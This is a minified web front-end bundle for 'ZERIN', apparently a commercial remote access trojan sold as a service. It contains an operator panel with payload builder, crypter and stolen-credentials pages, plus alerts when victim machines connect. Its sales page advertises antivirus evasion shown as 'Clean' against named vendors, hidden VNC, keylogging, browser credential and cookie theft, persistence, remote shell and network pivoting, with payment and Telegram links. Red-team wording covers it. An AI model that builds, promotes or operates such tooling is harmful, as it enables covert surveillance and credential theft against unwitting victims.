gd=m.createContext({lastMessage:null}),Z6=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],Q6={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},J6={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function e_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function t_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(Tj,Oj).status==="building",s=kj()==="rat_crypter"||t,o=[...Z6,...s?[Q6]:[],...t?[J6]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=C6(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=I6(),{isActive:j}=W6(),[N,k]=m.useState(!1),z=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function D(G){var K,_;if(N||G.ctrlKey||G.metaKey||G.altKey)return;const R=(K=G.target)==null?void 0:K.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(_=G.target)!=null&&_.isContentEditable||G.key.length===1&&(z.current+=G.key.toLowerCase(),z.current.length>20&&(z.current=z.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{z.current=""},3e3),z.current.includes("credits")&&(z.current="",k(!0)))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=m.useCallback(async()=>{try{const D=await Sj();v(D)}catch{}},[]);m.useEffect(()=>{O();const D=setInterval(O,15e3);return()=>clearInterval(D)},[O]);const A=m.useCallback(D=>{if(D.type==="agent_update"){const G=D.payload;v(R=>{const K=R.findIndex(_=>_.id===G.id);if(K>=0){const _=[...R];return _[K]=G,_}return p("New Agent Connected",`${G.hostname} (${G.internal_ip})`),[G,...R]})}if(D.type==="event"){const G=D.payload;(G.type==="task_completed"||G.type==="task_failed")&&p("Task Update",G.message)}},[p]),{isConnected:T,lastMessage:P}=S6({onMessage:A});return m.useEffect(()=>{function D(G){(G.metaKey||G.ctrlKey)&&G.key==="k"&&(G.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[]),a.jsx(gd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:G,icon:R})=>a.jsx(VE,{to:D,end:D==="/dashboard",className:({isActive:K})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${K?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:K})=>a.jsxs(a.Fragment,{children:[K&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:K?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:G}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(_E,{})}),a.jsx(Y6,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(e_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const n_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function r_(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const i_=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],a_=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Bs({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const s_=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),o_=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function l_(){const e=r_("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(n_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener 